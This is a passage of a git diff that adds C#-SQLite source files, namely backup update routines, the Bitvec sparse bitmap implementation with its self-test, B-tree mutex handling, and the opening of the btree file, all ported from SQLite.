already been + ** copied into the destination database, then the data written to the + ** destination is now invalidated. The destination copy of iPage needs + ** to be updated with the new data before the backup operation is + ** complete. + ** + ** It is assumed that the mutex associated with the BtShared object + ** corresponding to the source database is held when this function is + ** called. + */ + static void sqlite3BackupUpdate( sqlite3_backup pBackup, Pgno iPage, byte[] aData ) + { + sqlite3_backup p; /* Iterator variable */ + for ( p = pBackup ; p != null ; p = p.pNext ) + { + Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) ); + if ( !isFatalError( p.rc ) && iPage < p.iNext ) + { + /* The backup process p has already copied page iPage. But now it + ** has been modified by a transaction on the source pager. Copy + ** the new data into the backup. + */ + int rc = backupOnePage( p, iPage, aData ); + Debug.Assert( rc != SQLITE_BUSY && rc != SQLITE_LOCKED ); + if ( rc != SQLITE_OK ) + { + p.rc = rc; + } + } + } + } + + /* + ** Restart the backup process. This is called when the pager layer + ** detects that the database has been modified by an external database + ** connection. In this case there is no way of knowing which of the + ** pages that have been copied into the destination database are still + ** valid and which are not, so the entire process needs to be restarted. + ** + ** It is assumed that the mutex associated with the BtShared object + ** corresponding to the source database is held when this function is + ** called. + */ + static void sqlite3BackupRestart( sqlite3_backup pBackup ) + { + sqlite3_backup p; /* Iterator variable */ + for ( p = pBackup ; p != null ; p = p.pNext ) + { + Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) ); + p.iNext = 1; + } + } + +#if !SQLITE_OMIT_VACUUM + /* +** Copy the complete content of pBtFrom into pBtTo. A transaction +** must be active for both files. +** +** The size of file pTo may be reduced by this operation. If anything +** goes wrong, the transaction on pTo is rolled back. If successful, the +** transaction is committed before returning. +*/ + static int sqlite3BtreeCopyFile( Btree pTo, Btree pFrom ) + { + int rc; + sqlite3_backup b; + sqlite3BtreeEnter( pTo ); + sqlite3BtreeEnter( pFrom ); + + /* Set up an sqlite3_backup object. sqlite3_backup.pDestDb must be set + ** to 0. This is used by the implementations of sqlite3_backup_step() + ** and sqlite3_backup_finish() to detect that they are being called + ** from this function, not directly by the user. + */ + b = new sqlite3_backup();// memset( &b, 0, sizeof( b ) ); + b.pSrcDb = pFrom.db; + b.pSrc = pFrom; + b.pDest = pTo; + b.iNext = 1; + + /* 0x7FFFFFFF is the hard limit for the number of pages in a database + ** file. By passing this as the number of pages to copy to + ** sqlite3_backup_step(), we can guarantee that the copy finishes + ** within a single call (unless an error occurs). The Debug.Assert() statement + ** checks this assumption - (p.rc) should be set to either SQLITE_DONE + ** or an error code. + */ + sqlite3_backup_step( b, 0x7FFFFFFF ); + Debug.Assert( b.rc != SQLITE_OK ); + rc = sqlite3_backup_finish( b ); + if ( rc == SQLITE_OK ) + { + pTo.pBt.pageSizeFixed = false; + } + + sqlite3BtreeLeave( pFrom ); + sqlite3BtreeLeave( pTo ); + return rc; + } +#endif //* SQLITE_OMIT_VACUUM */ + } +} diff --git a/SQLite/src/bitvec_c.cs b/SQLite/src/bitvec_c.cs new file mode 100644 index 0000000..90bebf9 --- /dev/null +++ b/SQLite/src/bitvec_c.cs @@ -0,0 +1,509 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using Pgno = System.UInt32; +using i64 = System.Int64; +using u32 = System.UInt32; +using BITVEC_TELEM = System.Byte; + +namespace CS_SQLite3 +{ + + public partial class CSSQLite + { + /* + ** 2008 February 16 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file implements an object that represents a fixed-length + ** bitmap. Bits are numbered starting with 1. + ** + ** A bitmap is used to record which pages of a database file have been + ** journalled during a transaction, or which pages have the "dont-write" + ** property. Usually only a few pages are meet either condition. + ** So the bitmap is usually sparse and has low cardinality. + ** But sometimes (for example when during a DROP of a large table) most + ** or all of the pages in a database can get journalled. In those cases, + ** the bitmap becomes dense with high cardinality. The algorithm needs + ** to handle both cases well. + ** + ** The size of the bitmap is fixed when the object is created. + ** + ** All bits are clear when the bitmap is created. Individual bits + ** may be set or cleared one at a time. + ** + ** Test operations are about 100 times more common that set operations. + ** Clear operations are exceedingly rare. There are usually between + ** 5 and 500 set operations per Bitvec object, though the number of sets can + ** sometimes grow into tens of thousands or larger. The size of the + ** Bitvec object is the number of pages in the database file at the + ** start of a transaction, and is thus usually less than a few thousand, + ** but can be as large as 2 billion for a really big database. + ** + ** @(#) $Id: bitvec.c,v 1.17 2009/07/25 17:33:26 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* Size of the Bitvec structure in bytes. */ + const int BITVEC_SZ = 512; + + /* Round the union size down to the nearest pointer boundary, since that's how + ** it will be aligned within the Bitvec struct. */ + //#define BITVEC_USIZE (((BITVEC_SZ-(3*sizeof(u32)))/sizeof(Bitvec*))*sizeof(Bitvec*)) + const int BITVEC_USIZE = ( ( ( BITVEC_SZ - ( 3 * sizeof( u32 ) ) ) / 4 ) * 4 ); + + /* Type of the array "element" for the bitmap representation. + ** Should be a power of 2, and ideally, evenly divide into BITVEC_USIZE. + ** Setting this to the "natural word" size of your CPU may improve + ** performance. */ + //#define BITVEC_TELEM u8 + //using BITVEC_TELEM = System.Byte; + + /* Size, in bits, of the bitmap element. */ + //#define BITVEC_SZELEM 8 + const int BITVEC_SZELEM = 8; + + /* Number of elements in a bitmap array. */ + //#define BITVEC_NELEM (BITVEC_USIZE/sizeof(BITVEC_TELEM)) + const int BITVEC_NELEM = ( BITVEC_USIZE / sizeof( BITVEC_TELEM ) ); + + /* Number of bits in the bitmap array. */ + //#define BITVEC_NBIT (BITVEC_NELEM*BITVEC_SZELEM) + const int BITVEC_NBIT = ( BITVEC_NELEM * BITVEC_SZELEM ); + + /* Number of u32 values in hash table. */ + //#define BITVEC_NINT (BITVEC_USIZE/sizeof(u32)) + const int BITVEC_NINT = ( BITVEC_USIZE / sizeof( u32 ) ); + + /* Maximum number of entries in hash table before + ** sub-dividing and re-hashing. */ + //#define BITVEC_MXHASH (BITVEC_NINT/2) + const int BITVEC_MXHASH = ( BITVEC_NINT / 2 ); + + /* Hashing function for the aHash representation. + ** Empirical testing showed that the *37 multiplier + ** (an arbitrary prime)in the hash function provided + ** no fewer collisions than the no-op *1. */ + //#define BITVEC_HASH(X) (((X)*1)%BITVEC_NINT) + static u32 BITVEC_HASH( u32 X ) { return ( ( ( X ) * 1 ) % BITVEC_NINT ); } + + const int BITVEC_NPTR = ( BITVEC_USIZE / 4 );//sizeof(Bitvec *)); + + + /* + ** A bitmap is an instance of the following structure. + ** + ** This bitmap records the existence of zero or more bits + ** with values between 1 and iSize, inclusive. + ** + ** There are three possible representations of the bitmap. + ** If iSize<=BITVEC_NBIT, then Bitvec.u.aBitmap[] is a straight + ** bitmap. The least significant bit is bit 1. + ** + ** If iSize>BITVEC_NBIT and iDivisor==0 then Bitvec.u.aHash[] is + ** a hash table that will hold up to BITVEC_MXHASH distinct values. + ** + ** Otherwise, the value i is redirected into one of BITVEC_NPTR + ** sub-bitmaps pointed to by Bitvec.u.apSub[]. Each subbitmap + ** handles up to iDivisor separate values of i. apSub[0] holds + ** values between 1 and iDivisor. apSub[1] holds values between + ** iDivisor+1 and 2*iDivisor. apSub[N] holds values between + ** N*iDivisor+1 and (N+1)*iDivisor. Each subbitmap is normalized + ** to hold deal with values between 1 and iDivisor. + */ + public class _u + { + public BITVEC_TELEM[] aBitmap = new byte[BITVEC_NELEM]; /* Bitmap representation */ + public u32[] aHash = new u32[BITVEC_NINT]; /* Hash table representation */ + public Bitvec[] apSub = new Bitvec[BITVEC_NPTR]; /* Recursive representation */ + } + public class Bitvec + { + public u32 iSize; /* Maximum bit index. Max iSize is 4,294,967,296. */ + public u32 nSet; /* Number of bits that are set - only valid for aHash + ** element. Max is BITVEC_NINT. For BITVEC_SZ of 512, + ** this would be 125. */ + public u32 iDivisor; /* Number of bits handled by each apSub[] entry. */ + /* Should >=0 for apSub element. */ + /* Max iDivisor is max(u32) / BITVEC_NPTR + 1. */ + /* For a BITVEC_SZ of 512, this would be 34,359,739. */ + public _u u = new _u(); + + public static implicit operator bool( Bitvec b ) + { + return ( b != null ); + } + }; + + /* + ** Create a new bitmap object able to handle bits between 0 and iSize, + ** inclusive. Return a pointer to the new object. Return NULL if + ** malloc fails. + */ + static Bitvec sqlite3BitvecCreate( u32 iSize ) + { + Bitvec p; + //Debug.Assert( sizeof(p)==BITVEC_SZ ); + p = new Bitvec();//sqlite3MallocZero( sizeof(p) ); + if ( p != null ) + { + p.iSize = iSize; + } + return p; + } + + /* + ** Check to see if the i-th bit is set. Return true or false. + ** If p is NULL (if the bitmap has not been created) or if + ** i is out of range, then return false. + */ + static int sqlite3BitvecTest( Bitvec p, u32 i ) + { + if ( p == null || i == 0 ) return 0; + if ( i > p.iSize ) return 0; + i--; + while ( p.iDivisor != 0 ) + { + u32 bin = i / p.iDivisor; + i = i % p.iDivisor; + p = p.u.apSub[bin]; + if ( null == p ) + { + return 0; + } + } + if ( p.iSize <= BITVEC_NBIT ) + { + return ( ( p.u.aBitmap[i / BITVEC_SZELEM] & ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ) != 0 ) ? 1 : 0; + } + else + { + u32 h = BITVEC_HASH( i++ ); + while ( p.u.aHash[h] != 0 ) + { + if ( p.u.aHash[h] == i ) return 1; + h = ( h + 1 ) % BITVEC_NINT; + } + return 0; + } + } + + /* + ** Set the i-th bit. Return 0 on success and an error code if + ** anything goes wrong. + ** + ** This routine might cause sub-bitmaps to be allocated. Failing + ** to get the memory needed to hold the sub-bitmap is the only + ** that can go wrong with an insert, assuming p and i are valid. + ** + ** The calling function must ensure that p is a valid Bitvec object + ** and that the value for "i" is within range of the Bitvec object. + ** Otherwise the behavior is undefined. + */ + static int sqlite3BitvecSet( Bitvec p, u32 i ) + { + u32 h; + if ( p == null ) return SQLITE_OK; + Debug.Assert( i > 0 ); + Debug.Assert( i <= p.iSize ); + i--; + while ( ( p.iSize > BITVEC_NBIT ) && p.iDivisor != 0 ) + { + u32 bin = i / p.iDivisor; + i = i % p.iDivisor; + if ( p.u.apSub[bin] == null ) + { + p.u.apSub[bin] = sqlite3BitvecCreate( p.iDivisor ); + if ( p.u.apSub[bin] == null ) return SQLITE_NOMEM; + } + p = p.u.apSub[bin]; + } + if ( p.iSize <= BITVEC_NBIT ) + { + p.u.aBitmap[i / BITVEC_SZELEM] |= (byte)( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ); + return SQLITE_OK; + } + h = BITVEC_HASH( i++ ); + /* if there wasn't a hash collision, and this doesn't */ + /* completely fill the hash, then just add it without */ + /* worring about sub-dividing and re-hashing. */ + if ( 0 == p.u.aHash[h] ) + { + if ( p.nSet < ( BITVEC_NINT - 1 ) ) + { + goto bitvec_set_end; + } + else + { + goto bitvec_set_rehash; + } + } + /* there was a collision, check to see if it's already */ + /* in hash, if not, try to find a spot for it */ + do + { + if ( p.u.aHash[h] == i ) return SQLITE_OK; + h++; + if ( h >= BITVEC_NINT ) h = 0; + } while ( p.u.aHash[h] != 0 ); +/* we didn't find it in the hash. h points to the first */ +/* available free spot. check to see if this is going to */ +/* make our hash too "full". */ +bitvec_set_rehash: + if ( p.nSet >= BITVEC_MXHASH ) + { + u32 j; + int rc; + u32[] aiValues = new u32[BITVEC_NINT];// = sqlite3StackAllocRaw(0, sizeof(p->u.aHash)); + if ( aiValues == null ) + { + return SQLITE_NOMEM; + } + else + { + + Buffer.BlockCopy( p.u.aHash, 0, aiValues, 0, aiValues.Length * ( sizeof( u32 ) ) );// memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); + p.u.apSub = new Bitvec[BITVEC_NPTR];//memset(p->u.apSub, 0, sizeof(p->u.apSub)); + p.iDivisor = ( p.iSize + BITVEC_NPTR - 1 ) / BITVEC_NPTR; + rc = sqlite3BitvecSet( p, i ); + for ( j = 0 ; j < BITVEC_NINT ; j++ ) + { + if ( aiValues[j] != 0 ) rc |= sqlite3BitvecSet( p, aiValues[j] ); + } + //sqlite3StackFree( null, aiValues ); + return rc; + } + } +bitvec_set_end: + p.nSet++; + p.u.aHash[h] = i; + return SQLITE_OK; + } + + /* + ** Clear the i-th bit. + ** + ** pBuf must be a pointer to at least BITVEC_SZ bytes of temporary storage + ** that BitvecClear can use to rebuilt its hash table. + */ + static void sqlite3BitvecClear( Bitvec p, u32 i, u32[] pBuf ) + { + if ( p == null ) return; + Debug.Assert( i > 0 ); + i--; + while ( p.iDivisor != 0 ) + { + u32 bin = i / p.iDivisor; + i = i % p.iDivisor; + p = p.u.apSub[bin]; + if ( null == p ) + { + return; + } + } + if ( p.iSize <= BITVEC_NBIT ) + { + p.u.aBitmap[i / BITVEC_SZELEM] &= (byte)~( ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ); + } + else + { + u32 j; + u32[] aiValues = pBuf; + Array.Copy( p.u.aHash, aiValues, p.u.aHash.Length );//memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); + p.u.aHash = new u32[aiValues.Length];// memset(p->u.aHash, 0, sizeof(p->u.aHash)); + p.nSet = 0; + for ( j = 0 ; j < BITVEC_NINT ; j++ ) + { + if ( aiValues[j] != 0 && aiValues[j] != ( i + 1 ) ) + { + u32 h = BITVEC_HASH( aiValues[j] - 1 ); + p.nSet++; + while ( p.u.aHash[h] != 0 ) + { + h++; + if ( h >= BITVEC_NINT ) h = 0; + } + p.u.aHash[h] = aiValues[j]; + } + } + } + } + + /* + ** Destroy a bitmap object. Reclaim all memory used. + */ + static void sqlite3BitvecDestroy( ref Bitvec p ) + { + if ( p == null ) return; + if ( p.iDivisor != 0 ) + { + u32 i; + for ( i = 0 ; i < BITVEC_NPTR ; i++ ) + { + sqlite3BitvecDestroy( ref p.u.apSub[i] ); + } + } + //sqlite3_free( ref p ); + } + + /* + ** Return the value of the iSize parameter specified when Bitvec *p + ** was created. + */ + static u32 sqlite3BitvecSize( Bitvec p ) + { + return p.iSize; + } + +#if !SQLITE_OMIT_BUILTIN_TEST + /* +** Let V[] be an array of unsigned characters sufficient to hold +** up to N bits. Let I be an integer between 0 and N. 0<=I>3] |= (1<<(I&7)) + static void SETBIT( byte[] V, int I ) { V[I >> 3] |= (byte)( 1 << ( I & 7 ) ); } + + //#define CLEARBIT(V,I) V[I>>3] &= ~(1<<(I&7)) + static void CLEARBIT( byte[] V, int I ) { V[I >> 3] &= (byte)~( 1 << ( I & 7 ) ); } + + //#define TESTBIT(V,I) (V[I>>3]&(1<<(I&7)))!=0 + static int TESTBIT( byte[] V, int I ) { return ( V[I >> 3] & ( 1 << ( I & 7 ) ) ) != 0 ? 1 : 0; } + + /* + ** This routine runs an extensive test of the Bitvec code. + ** + ** The input is an array of integers that acts as a program + ** to test the Bitvec. The integers are opcodes followed + ** by 0, 1, or 3 operands, depending on the opcode. Another + ** opcode follows immediately after the last operand. + ** + ** There are 6 opcodes numbered from 0 through 5. 0 is the + ** "halt" opcode and causes the test to end. + ** + ** 0 Halt and return the number of errors + ** 1 N S X Set N bits beginning with S and incrementing by X + ** 2 N S X Clear N bits beginning with S and incrementing by X + ** 3 N Set N randomly chosen bits + ** 4 N Clear N randomly chosen bits + ** 5 N S X Set N bits from S increment X in array only, not in bitvec + ** + ** The opcodes 1 through 4 perform set and clear operations are performed + ** on both a Bitvec object and on a linear array of bits obtained from malloc. + ** Opcode 5 works on the linear array only, not on the Bitvec. + ** Opcode 5 is used to deliberately induce a fault in order to + ** confirm that error detection works. + ** + ** At the conclusion of the test the linear array is compared + ** against the Bitvec object. If there are any differences, + ** an error is returned. If they are the same, zero is returned. + ** + ** If a memory allocation error occurs, return -1. + */ + static int sqlite3BitvecBuiltinTest( u32 sz, int[] aOp ) + { + Bitvec pBitvec = null; + byte[] pV = null; + int rc = -1; + int i, nx, pc, op; + u32[] pTmpSpace; + + /* Allocate the Bitvec to be tested and a linear array of + ** bits to act as the reference */ + pBitvec = sqlite3BitvecCreate( sz ); + pV = new byte[( sz + 7 ) / 8 + 1];// sqlite3_malloc( ( sz + 7 ) / 8 + 1 ); + pTmpSpace = new u32[BITVEC_SZ];// sqlite3_malloc( BITVEC_SZ ); + if ( pBitvec == null || pV == null || pTmpSpace == null ) goto bitvec_end; + Array.Clear( pV, 0, (int)( sz + 7 ) / 8 + 1 );// memset( pV, 0, ( sz + 7 ) / 8 + 1 ); + + /* NULL pBitvec tests */ + sqlite3BitvecSet( null, (u32)1 ); + sqlite3BitvecClear( null, 1, pTmpSpace ); + + /* Run the program */ + pc = 0; + while ( ( op = aOp[pc] ) != 0 ) + { + switch ( op ) + { + case 1: + case 2: + case 5: + { + nx = 4; + i = aOp[pc + 2] - 1; + aOp[pc + 2] += aOp[pc + 3]; + break; + } + case 3: + case 4: + default: + { + nx = 2; + i64 i64Temp = 0; + sqlite3_randomness( sizeof( i64 ), ref i64Temp ); + i = (int)i64Temp; + break; + } + } + if ( ( --aOp[pc + 1] ) > 0 ) nx = 0; + pc += nx; + i = (int)( ( i & 0x7fffffff ) % sz ); + if ( ( op & 1 ) != 0 ) + { + SETBIT( pV, ( i + 1 ) ); + if ( op != 5 ) + { + if ( sqlite3BitvecSet( pBitvec, (u32)i + 1 ) != 0 ) goto bitvec_end; + } + } + else + { + CLEARBIT( pV, ( i + 1 ) ); + sqlite3BitvecClear( pBitvec, (u32)i + 1, pTmpSpace ); + } + } + + /* Test to make sure the linear array exactly matches the + ** Bitvec object. Start with the assumption that they do + ** match (rc==0). Change rc to non-zero if a discrepancy + ** is found. + */ + rc = sqlite3BitvecTest( null, 0 ) + sqlite3BitvecTest( pBitvec, sz + 1 ) + + sqlite3BitvecTest( pBitvec, 0 ) + + (int)( sqlite3BitvecSize( pBitvec ) - sz ); + for ( i = 1 ; i <= sz ; i++ ) + { + if ( ( TESTBIT( pV, i ) ) != sqlite3BitvecTest( pBitvec, (u32)i ) ) + { + rc = i; + break; + } + } + + /* Free allocated structure */ +bitvec_end: + //sqlite3_free( ref pTmpSpace ); + //sqlite3_free( ref pV ); + sqlite3BitvecDestroy( ref pBitvec ); + return rc; + } +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + } +} diff --git a/SQLite/src/btmutex_c.cs b/SQLite/src/btmutex_c.cs new file mode 100644 index 0000000..7e7f700 --- /dev/null +++ b/SQLite/src/btmutex_c.cs @@ -0,0 +1,380 @@ +using System.Diagnostics; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2007 August 27 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** $Id: btmutex.c,v 1.17 2009/07/20 12:33:33 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** + ** This file contains code used to implement mutexes on Btree objects. + ** This code really belongs in btree.c. But btree.c is getting too + ** big and we want to break it down some. This packaged seemed like + ** a good breakout. + */ + //#include "btreeInt.h" +#if !SQLITE_OMIT_SHARED_CACHE +#if SQLITE_THREADSAFE + +/* +** Obtain the BtShared mutex associated with B-Tree handle p. Also, +** set BtShared.db to the database handle associated with p and the +** p->locked boolean to true. +*/ +static void lockBtreeMutex(Btree *p){ +assert( p->locked==0 ); +assert( sqlite3_mutex_notheld(p->pBt->mutex) ); +assert( sqlite3_mutex_held(p->db->mutex) ); + +sqlite3_mutex_enter(p->pBt->mutex); +p->pBt->db = p->db; +p->locked = 1; +} + +/* +** Release the BtShared mutex associated with B-Tree handle p and +** clear the p->locked boolean. +*/ +static void unlockBtreeMutex(Btree *p){ +assert( p->locked==1 ); +assert( sqlite3_mutex_held(p->pBt->mutex) ); +assert( sqlite3_mutex_held(p->db->mutex) ); +assert( p->db==p->pBt->db ); + +sqlite3_mutex_leave(p->pBt->mutex); +p->locked = 0; +} + +/* +** Enter a mutex on the given BTree object. +** +** If the object is not sharable, then no mutex is ever required +** and this routine is a no-op. The underlying mutex is non-recursive. +** But we keep a reference count in Btree.wantToLock so the behavior +** of this interface is recursive. +** +** To avoid deadlocks, multiple Btrees are locked in the same order +** by all database connections. The p->pNext is a list of other +** Btrees belonging to the same database connection as the p Btree +** which need to be locked after p. If we cannot get a lock on +** p, then first unlock all of the others on p->pNext, then wait +** for the lock to become available on p, then relock all of the +** subsequent Btrees that desire a lock. +*/ +void sqlite3BtreeEnter(Btree *p){ +Btree *pLater; + +/* Some basic sanity checking on the Btree. The list of Btrees +** connected by pNext and pPrev should be in sorted order by +** Btree.pBt value. All elements of the list should belong to +** the same connection. Only shared Btrees are on the list. */ +assert( p->pNext==0 || p->pNext->pBt>p->pBt ); +assert( p->pPrev==0 || p->pPrev->pBtpBt ); +assert( p->pNext==0 || p->pNext->db==p->db ); +assert( p->pPrev==0 || p->pPrev->db==p->db ); +assert( p->sharable || (p->pNext==0 && p->pPrev==0) ); + +/* Check for locking consistency */ +assert( !p->locked || p->wantToLock>0 ); +assert( p->sharable || p->wantToLock==0 ); + +/* We should already hold a lock on the database connection */ +assert( sqlite3_mutex_held(p->db->mutex) ); + +/* Unless the database is sharable and unlocked, then BtShared.db +** should already be set correctly. */ +assert( (p->locked==0 && p->sharable) || p->pBt->db==p->db ); + +if( !p->sharable ) return; +p->wantToLock++; +if( p->locked ) return; + +/* In most cases, we should be able to acquire the lock we +** want without having to go throught the ascending lock +** procedure that follows. Just be sure not to block. +*/ +if( sqlite3_mutex_try(p->pBt->mutex)==SQLITE_OK ){ +p->pBt->db = p->db; +p->locked = 1; +return; +} + +/* To avoid deadlock, first release all locks with a larger +** BtShared address. Then acquire our lock. Then reacquire +** the other BtShared locks that we used to hold in ascending +** order. +*/ +for(pLater=p->pNext; pLater; pLater=pLater->pNext){ +assert( pLater->sharable ); +assert( pLater->pNext==0 || pLater->pNext->pBt>pLater->pBt ); +assert( !pLater->locked || pLater->wantToLock>0 ); +if( pLater->locked ){ +unlockBtreeMutex(pLater); +} +} +lockBtreeMutex(p); +for(pLater=p->pNext; pLater; pLater=pLater->pNext){ +if( pLater->wantToLock ){ +lockBtreeMutex(pLater); +} +} +} + +/* +** Exit the recursive mutex on a Btree. +*/ +void sqlite3BtreeLeave(Btree *p){ +if( p->sharable ){ +assert( p->wantToLock>0 ); +p->wantToLock--; +if( p->wantToLock==0 ){ +unlockBtreeMutex(p); +} +} +} + +#if !NDEBUG +/* +** Return true if the BtShared mutex is held on the btree, or if the +** B-Tree is not marked as sharable. +** +** This routine is used only from within assert() statements. +*/ +int sqlite3BtreeHoldsMutex(Btree *p){ +assert( p->sharable==0 || p->locked==0 || p->wantToLock>0 ); +assert( p->sharable==0 || p->locked==0 || p->db==p->pBt->db ); +assert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->pBt->mutex) ); +assert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->db->mutex) ); + +return (p->sharable==0 || p->locked); +} +#endif + + +#if !SQLITE_OMIT_INCRBLOB +/* +** Enter and leave a mutex on a Btree given a cursor owned by that +** Btree. These entry points are used by incremental I/O and can be +** omitted if that module is not used. +*/ +void sqlite3BtreeEnterCursor(BtCursor *pCur){ +sqlite3BtreeEnter(pCur->pBtree); +} +void sqlite3BtreeLeaveCursor(BtCursor *pCur){ +sqlite3BtreeLeave(pCur->pBtree); +} +#endif //* SQLITE_OMIT_INCRBLOB */ + + +/* +** Enter the mutex on every Btree associated with a database +** connection. This is needed (for example) prior to parsing +** a statement since we will be comparing table and column names +** against all schemas and we do not want those schemas being +** reset out from under us. +** +** There is a corresponding leave-all procedures. +** +** Enter the mutexes in accending order by BtShared pointer address +** to avoid the possibility of deadlock when two threads with +** two or more btrees in common both try to lock all their btrees +** at the same instant. +*/ +void sqlite3BtreeEnterAll(sqlite3 *db){ +int i; +Btree *p, *pLater; +assert( sqlite3_mutex_held(db->mutex) ); +for(i=0; inDb; i++){ +p = db->aDb[i].pBt; +assert( !p || (p->locked==0 && p->sharable) || p->pBt->db==p->db ); +if( p && p->sharable ){ +p->wantToLock++; +if( !p->locked ){ +assert( p->wantToLock==1 ); +while( p->pPrev ) p = p->pPrev; +/* Reason for ALWAYS: There must be at least on unlocked Btree in +** the chain. Otherwise the !p->locked test above would have failed */ +while( p->locked && ALWAYS(p->pNext) ) p = p->pNext; +for(pLater = p->pNext; pLater; pLater=pLater->pNext){ +if( pLater->locked ){ +unlockBtreeMutex(pLater); +} +} +while( p ){ +lockBtreeMutex(p); +p = p->pNext; +} +} +} +} +} +void sqlite3BtreeLeaveAll(sqlite3 *db){ +int i; +Btree *p; +assert( sqlite3_mutex_held(db->mutex) ); +for(i=0; inDb; i++){ +p = db->aDb[i].pBt; +if( p && p->sharable ){ +assert( p->wantToLock>0 ); +p->wantToLock--; +if( p->wantToLock==0 ){ +unlockBtreeMutex(p); +} +} +} +} + +#if !NDEBUG +/* +** Return true if the current thread holds the database connection +** mutex and all required BtShared mutexes. +** +** This routine is used inside assert() statements only. +*/ +int sqlite3BtreeHoldsAllMutexes(sqlite3 *db){ +int i; +if( !sqlite3_mutex_held(db->mutex) ){ +return 0; +} +for(i=0; inDb; i++){ +Btree *p; +p = db->aDb[i].pBt; +if( p && p->sharable && +(p->wantToLock==0 || !sqlite3_mutex_held(p->pBt->mutex)) ){ +return 0; +} +} +return 1; +} +#endif //* NDEBUG */ + +/* +** Add a new Btree pointer to a BtreeMutexArray. +** if the pointer can possibly be shared with +** another database connection. +** +** The pointers are kept in sorted order by pBtree->pBt. That +** way when we go to enter all the mutexes, we can enter them +** in order without every having to backup and retry and without +** worrying about deadlock. +** +** The number of shared btrees will always be small (usually 0 or 1) +** so an insertion sort is an adequate algorithm here. +*/ +void sqlite3BtreeMutexArrayInsert(BtreeMutexArray *pArray, Btree *pBtree){ +int i, j; +BtShared *pBt; +if( pBtree==0 || pBtree->sharable==0 ) return; +#if !NDEBUG +{ +for(i=0; inMutex; i++){ +assert( pArray->aBtree[i]!=pBtree ); +} +} +#endif +assert( pArray->nMutex>=0 ); +assert( pArray->nMutexaBtree)-1 ); +pBt = pBtree->pBt; +for(i=0; inMutex; i++){ +assert( pArray->aBtree[i]!=pBtree ); +if( pArray->aBtree[i]->pBt>pBt ){ +for(j=pArray->nMutex; j>i; j--){ +pArray->aBtree[j] = pArray->aBtree[j-1]; +} +pArray->aBtree[i] = pBtree; +pArray->nMutex++; +return; +} +} +pArray->aBtree[pArray->nMutex++] = pBtree; +} + +/* +** Enter the mutex of every btree in the array. This routine is +** called at the beginning of sqlite3VdbeExec(). The mutexes are +** exited at the end of the same function. +*/ +void sqlite3BtreeMutexArrayEnter(BtreeMutexArray *pArray){ +int i; +for(i=0; inMutex; i++){ +Btree *p = pArray->aBtree[i]; +/* Some basic sanity checking */ +assert( i==0 || pArray->aBtree[i-1]->pBtpBt ); +assert( !p->locked || p->wantToLock>0 ); + +/* We should already hold a lock on the database connection */ +assert( sqlite3_mutex_held(p->db->mutex) ); + +/* The Btree is sharable because only sharable Btrees are entered +** into the array in the first place. */ +assert( p->sharable ); + +p->wantToLock++; +if( !p->locked ){ +lockBtreeMutex(p); +} +} +} + +/* +** Leave the mutex of every btree in the group. +*/ +void sqlite3BtreeMutexArrayLeave(BtreeMutexArray *pArray){ +int i; +for(i=0; inMutex; i++){ +Btree *p = pArray->aBtree[i]; +/* Some basic sanity checking */ +assert( i==0 || pArray->aBtree[i-1]->pBtpBt ); +assert( p->locked); +assert( p->wantToLock>0 ); + +/* We should already hold a lock on the database connection */ +assert( sqlite3_mutex_held(p->db->mutex) ); + +p->wantToLock--; +if( p->wantToLock==0){ +unlockBtreeMutex(p); +} +} +} + +#else +static void sqlite3BtreeEnter( Btree p ) +{ +p.pBt.db = p.db; +} +static void sqlite3BtreeEnterAll( sqlite3 db ) +{ +int i; +for ( i = 0 ; i < db.nDb ; i++ ) +{ +Btree p = db.aDb[i].pBt; +if ( p != null ) +{ +p.pBt.db = p.db; +} +} +} +#endif //* if SQLITE_THREADSAFE */ +#endif //* ifndef SQLITE_OMIT_SHARED_CACHE */ + + } +} diff --git a/SQLite/src/btree_c.cs b/SQLite/src/btree_c.cs new file mode 100644 index 0000000..4a85e57 --- /dev/null +++ b/SQLite/src/btree_c.cs @@ -0,0 +1,9117 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; +using sqlite3_int64 = System.Int64; +using Pgno = System.UInt32; +namespace CS_SQLite3 +{ + using DbPage = CSSQLite.PgHdr; + + public partial class CSSQLite + { + /* + ** 2004 April 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** $Id: btree.c,v 1.705 2009/08/10 03:57:58 shane Exp $ + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + ** + ** This file implements a external (disk-based) database using BTrees. + ** See the header comment on "btreeInt.h" for additional information. + ** Including a description of file format and an overview of operation. + */ + //#include "btreeInt.h" + + /* + ** The header string that appears at the beginning of every + ** SQLite database. + */ + static string zMagicHeader = SQLITE_FILE_HEADER; + + /* + ** Set this global 